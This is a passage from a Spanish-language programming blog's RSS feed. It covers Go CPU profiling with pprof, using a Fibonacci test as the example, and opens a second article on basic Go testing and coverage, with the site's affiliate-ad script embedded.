testing.test&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Type: cpu&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Time: Feb &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2022&lt;/span&gt; at &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;06&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;pm&lt;/span&gt; (CST)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Duration: &lt;span style=&#34;color:#ff9f43&#34;&gt;802.18&lt;/span&gt;ms, Total samples = &lt;span style=&#34;color:#ff9f43&#34;&gt;690&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;ms&lt;/span&gt; (&lt;span style=&#34;color:#ff9f43&#34;&gt;86.02&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Entering interactive &lt;span style=&#34;color:#57c7ff&#34;&gt;mode&lt;/span&gt; (&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;help&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; commands, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;o&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; options)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;(pprof) top&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Showing nodes accounting &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;690&lt;/span&gt;ms, &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; of &lt;span style=&#34;color:#ff9f43&#34;&gt;690&lt;/span&gt;ms total&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      flat  flat&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;   sum&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;        cum   cum&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#ff9f43&#34;&gt;680&lt;/span&gt;ms &lt;span style=&#34;color:#ff9f43&#34;&gt;98.55&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;98.55&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;      &lt;span style=&#34;color:#ff9f43&#34;&gt;680&lt;/span&gt;ms &lt;span style=&#34;color:#ff9f43&#34;&gt;98.55&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;  _&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;home&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;eduardo&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;Programacion&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;goTesting&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;testing.Fibonacci&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;ms  &lt;span style=&#34;color:#ff9f43&#34;&gt;1.45&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;   &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;       &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;ms  &lt;span style=&#34;color:#ff9f43&#34;&gt;1.45&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;  runtime.epollwait&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;     &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;   &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;      &lt;span style=&#34;color:#ff9f43&#34;&gt;680&lt;/span&gt;ms &lt;span style=&#34;color:#ff9f43&#34;&gt;98.55&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;  _&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;home&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;eduardo&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;Programacion&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;goTesting&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;testing.TestFibonacci&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;     &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;   &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;       &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;ms  &lt;span style=&#34;color:#ff9f43&#34;&gt;1.45&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;  runtime.findrunnable&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;     &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;   &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;       &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;ms  &lt;span style=&#34;color:#ff9f43&#34;&gt;1.45&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;  runtime.mcall&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;     &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;   &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;       &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;ms  &lt;span style=&#34;color:#ff9f43&#34;&gt;1.45&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;  runtime.netpoll&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;     &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;   &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;       &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;ms  &lt;span style=&#34;color:#ff9f43&#34;&gt;1.45&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;  runtime.park_m&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;     &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;   &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;       &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;ms  &lt;span style=&#34;color:#ff9f43&#34;&gt;1.45&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;  runtime.schedule&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;     &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;   &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;      &lt;span style=&#34;color:#ff9f43&#34;&gt;680&lt;/span&gt;ms &lt;span style=&#34;color:#ff9f43&#34;&gt;98.55&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;  testing.tRunner&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Dentro de la terminal pprof es posible inspeccionar el tiempo promedio de ejecución de cada línea de una función, usando:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;list &amp;lt;nombre_funcion&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tras ejecutar el comando se generará una lista donde podemos ver cada función desglosada linea por linea, junto con su impacto.&lt;/p&gt;&#xA;&lt;p&gt;De seguro ya observaste que la mayor parte del tiempo la consume la parte recursiva de Fibonacci.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-profiling-or-basic-profiling-of-cpu-usage/images/GoListProfile.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-profiling-or-basic-profiling-of-cpu-usage/images/GoListProfile.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Resultados del comando list de profiling en go que muestra el impacto de cada linea de código.&#34; width=&#34;1204&#34; height=&#34;241&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;exportacion-de-resultados&#34;&gt;Exportación de resultados&lt;/h3&gt;&#xA;&lt;p&gt;Además de resultados en consola, también podemos visualizar los resultados, de manera más entendible usando el comando &lt;em&gt;web&lt;/em&gt;, que crea un pequeño esquema accesible desde el navegador.&lt;/p&gt;&#xA;&lt;p&gt;Cada caja representa una función individual y las lineas indican el orden en el que unas funciones llaman a las otras.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-profiling-or-basic-profiling-of-cpu-usage/images/GoWebProfile.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-profiling-or-basic-profiling-of-cpu-usage/images/GoWebProfile.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Resultado del comando web de profiling en go. La función fibonacci se muestra en grande y en rojo.&#34; width=&#34;1002&#34; height=&#34;806&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Como parámetro opcional podemos pasarle el nombre de una función y go filtrará los resultados.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;(pprof) web &amp;lt;funcion&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-profiling-or-basic-profiling-of-cpu-usage/images/GoWebProfileFunction.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-profiling-or-basic-profiling-of-cpu-usage/images/GoWebProfileFunction.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;El comando web permite aislar los resultados por función&#34; width=&#34;915&#34; height=&#34;519&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;El esquema generado por el comando &lt;em&gt;web&lt;/em&gt; puede exportarse a un pdf con el comando &lt;em&gt;pdf&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;(pprof) pdf&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;otros-recursos-sobre-profiling&#34;&gt;Otros recursos sobre profiling&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://go.dev/blog/pprof&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Documentación oficial de go sobre profiling&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.instana.com/blog/go-profiler-internals/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Go profiler internals&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=nok0aYiGiYA&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;GopherCon 2019: Dave Cheney - Two Go Programs, Three Different Profiling Techniques&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: testing básico y coverage</title>
      <link>https://coffeebytes.dev/es/go/go-testing-basico-y-coverage/</link>
      <pubDate>Wed, 09 Feb 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/go-testing-basico-y-coverage/</guid>
      
      <category>go</category>
      
      <category>testing</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Go ya cuenta con un modulo de testing en su librería estándar que está lista para nuestro uso, solo hace falta importarlo y usarlo.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;preparacion-del-testing-en-go&#34;&gt;Preparación del testing en go&lt;/h2&gt;&#xA;&lt;p&gt;Para que se lleven a cabo los tests necesitamos:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Un archivo que termine en &lt;em&gt;_test.go&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Correr el comando &lt;em&gt;go test&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── go.mod&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── main.go&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── testing&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── main.go&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    └── main_test.go&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; directory, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt; files&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Considera que, si vas a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-importacion-de-paquetes-y-manejo-de-modulos/&#34;&gt;asignarle un nombre a tu paquete&lt;/a&gt;&#xA;&lt;strong&gt;, jamás debeser nombrarlo &lt;em&gt;testing&lt;/em&gt;&lt;/strong&gt;. ¿Por qué? si lo haces, go confungirá su paquete &lt;em&gt;testing&lt;/em&gt; con el tuyo, devolviéndote esos resultados incorrectos.&lt;/p&gt;&#xA;&lt;p&gt;Para crear los tests, dentro del archivo &lt;em&gt;testing/main_test.go&lt;/em&gt;, necesitamos una función que reciba de argumento nuestro paquete de testing con el carácter de desestructuración.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  